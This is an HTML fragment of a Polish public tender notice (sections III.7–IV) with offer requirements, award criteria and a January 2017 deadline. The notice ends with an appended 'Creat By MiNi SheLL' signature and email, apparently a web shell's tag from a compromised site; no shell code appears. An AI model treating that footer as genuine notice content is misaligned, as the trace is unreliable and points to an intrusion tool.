              </b><br /><div style="padding-left: 20px"></div><b>
                III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6)
              </b><div style="padding-left: 20px">Oferta musi zawierać:
a)	Formularz Ofertowy sporządzony i wypełniony według wzoru stanowiącego Załącznik Nr 7 do SIWZ,
b)	pełnomocnictwo do reprezentowania wykonawcy (wykonawców występujących wspólnie), o ile ofertę składa pełnomocnik,
c)	oświadczenie, o którym mowa w pkt. 5.1 SIWZ (tj. oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu) oraz w przypadku wspólnego ubiegania się wykonawców o udzielenie zamówienia, powoływania się wykonawcy na zasoby innych podmiotów stosownie do pkt. 4.2 SIWZ, dokumenty odpowiednio wymienione w pkt 5.2 oraz dowody/zobowiązanie, o których mowa w pkt. 4.3 lit. a. SIWZ (tj. zobowiązanie innych podmiotów do oddania wykonawcy do dyspozycji niezbędnych zasobów na potrzeby realizacji zamówienia lub inne dowody potwierdzające oddanie wykonawcy do dyspozycji niezbędnych zasobów na potrzeby realizacji zamówienia powinny zostać załączone do oferty (w oryginale),
d) stosownie do art. 24 ust. 11 ustawy Prawo zamówień publicznych wykonawca, w terminie 3 dni od zamieszczenia na stronie internetowej informacji, o której mowa w art. 86 ust. 5 ustawy, przekazuje zamawiającemu
oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 1 pkt 23 ustawy  sporządzone według wzoru stanowiącego załącznik nr 5 do SIWZ. Wraz ze złożeniem oświadczenia, wykonawca może przedstawić dowody, że powiązania z innym wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia. Oświadczenie składane jest w oryginale.
</div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA IV: PROCEDURA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>IV.1) OPIS </b><br /><b>IV.1.1) Tryb udzielenia zamówienia: </b>
                przetarg nieograniczony
              <br /><b>IV.1.2) Zamawiający żąda wniesienia wadium:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>
                IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /></div><br /><b>
                IV.1.5.) Wymaga się złożenia oferty wariantowej:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie oferty wariantowej
                <br />
                  nie
                <br />
                Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej:
                <br />
                  nie
                </div><br /><b>
                IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu
              </b><br /><i>
                (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne)
              </i><div style="padding-left: 20px">
                Liczba wykonawców  <br />
                Przewidywana minimalna liczba wykonawców  <br />
                Maksymalna liczba wykonawców  <br />
                Kryteria selekcji wykonawców:
                <br /></div><br /><b>
                IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów:
              </b><div style="padding-left: 20px">
                Umowa ramowa będzie zawarta:
                <br /><br />
                Czy przewiduje się ograniczenie liczby uczestników umowy ramowej:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych:
                <br />
                  nie
                <br />
                Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów:
                <br />
                  nie
                </div><br /><b>IV.1.8) Aukcja elektroniczna </b><br /><b>
                Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i>
                nie
              <br /><b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b><br /><b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b><br />
                nie
              <br />

              
                Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie  termin ich udostępnienia:
              
              <br />
              Informacje dotyczące przebiegu aukcji elektronicznej: 
              <br />
              Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): 
              <br />
              Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń:
              <br />
              Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: 
              <br />


              Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Aukcja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu:
                
                  nie
                <br />
                Warunki zamknięcia aukcji elektronicznej:
                <br /></div><br /><b>IV.2) KRYTERIA OCENY OFERT </b><br /><b>IV.2.1) Kryteria oceny ofert: </b><br /><b>IV.2.2) Kryteria</b><br /><div style="padding-left: 20px"><table><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>Cena</td><td>60</td></tr><tr><td>Dodatkowe strony obliczeniowe w zleceniach tryb zwykły</td><td>30</td></tr><tr><td>Kryterium zatrudnienia na umowę o pracę</td><td>10</td></tr></table></div><br /><b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony)
              <br />
                tak
              <br /><b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b><br /><b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b><br />
              Minimalne wymagania, które muszą spełniać wszystkie oferty:
              <br /><br />
              Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji
              
                nie
              <br />
              Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert:
              
                nie
              <br />
              Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów):
              <br /><br />
              Informacje dodatkowe
              <br /><br /><br /><b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b><br />
              Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu:
              <br /><br />
              Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody:
              <br /><br />
              Wstępny harmonogram postępowania:
              <br /><br />
              Podział dialogu na etapy w celu ograniczenia liczby rozwiązań:
              
                nie
              <br />
              Należy podać informacje na temat etapów dialogu:
              <br /><br /><br />
              Informacje dodatkowe:
              <br /><br /><b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b><br />
              Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty:
              <br /><br />
              Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia:
              <br />
                nie
              <br />
              Informacje dodatkowe:
              <br /><br /><b>IV.4) Licytacja elektroniczna  </b><br />
              Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna:
              <br /><div style="padding-left: 20px"></div>

              Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych:
              <br /><div style="padding-left: 20px"></div>

              Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień:
              <br /><div style="padding-left: 20px"></div>

              Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Licytacja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Wykonawcy, którzy nie złożyli nowych postąpień, zostaną  zakwalifikowani do następnego etapu:
                
                  nie
                </div>

              Termin otwarcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Termin i warunki zamknięcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div><br />
              Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy:
              <br /><div style="padding-left: 20px"></div><br />
              Wymagania dotyczące zabezpieczenia należytego wykonania umowy: 
              <br /><div style="padding-left: 20px"></div><br />
              Informacje dodatkowe:
              <br /><div style="padding-left: 20px"></div><b>IV.5) ZMIANA UMOWY</b><br /><b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b>
                tak

                <br />
                Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian:
                <br />W przypadku zmiany w trakcie realizacji przedmiotu Umowy:
a.	stawki podatku od towarów i usług,
b.	wysokości minimalnego wynagrodzenia za pracę ustalonego na podstawie art. 2 ust. 3-5 ustawy z dnia 10 października 2002 r. o minimalnym wynagrodzeniu za pracę (Dz. U. 2015 r. poz. 2008, z późn. zm.),
c.	zasad podlegania ubezpieczeniom społecznym lub ubezpieczeniu zdrowotnemu lub wysokości stawki składki na ubezpieczenia społeczne lub zdrowotne - jeżeli zmiany te będą miały wpływ na koszty wykonania zamówienia przez Wykonawcę;
wynagrodzenie, o którym mowa w ust. 1 i ceny jednostkowe, o których mowa w ust. 2,  ulegną zmianie (mogą ulec odpowiedniemu zmniejszeniu lub zwiększeniu) w zależności od skali wpływu powyższych zmian na koszty realizacji przedmiotu Umowy. Umowa zostanie zmieniona z zachowaniem formy pisemnej pod rygorem nieważności.
<br /><b>IV.6) INFORMACJE ADMINISTRACYJNE </b><br /><br /><b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i><br /><br /><b>Środki służące ochronie informacji o charakterze poufnym</b><br /><br /><b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b><br />
              Data: 05/01/2017, godzina: 11:00,
              <br />
              Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem):
              <br />
                nie
              <br />
              Wskazać powody:
              <br /><br />
              Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu
              <br />&gt;
              polski<br /><b>IV.6.3) Termin związania ofertą: </b>
                okres w dniach: 30 (od ostatecznego terminu składania ofert)
              <br /><b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b>
                nie
              <br /><b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b>
                nie
              <br /><b>IV.6.6) Informacje dodatkowe:</b><br /></div></div></div>

Creat By MiNi SheLL
Email: jattceo@gmail.com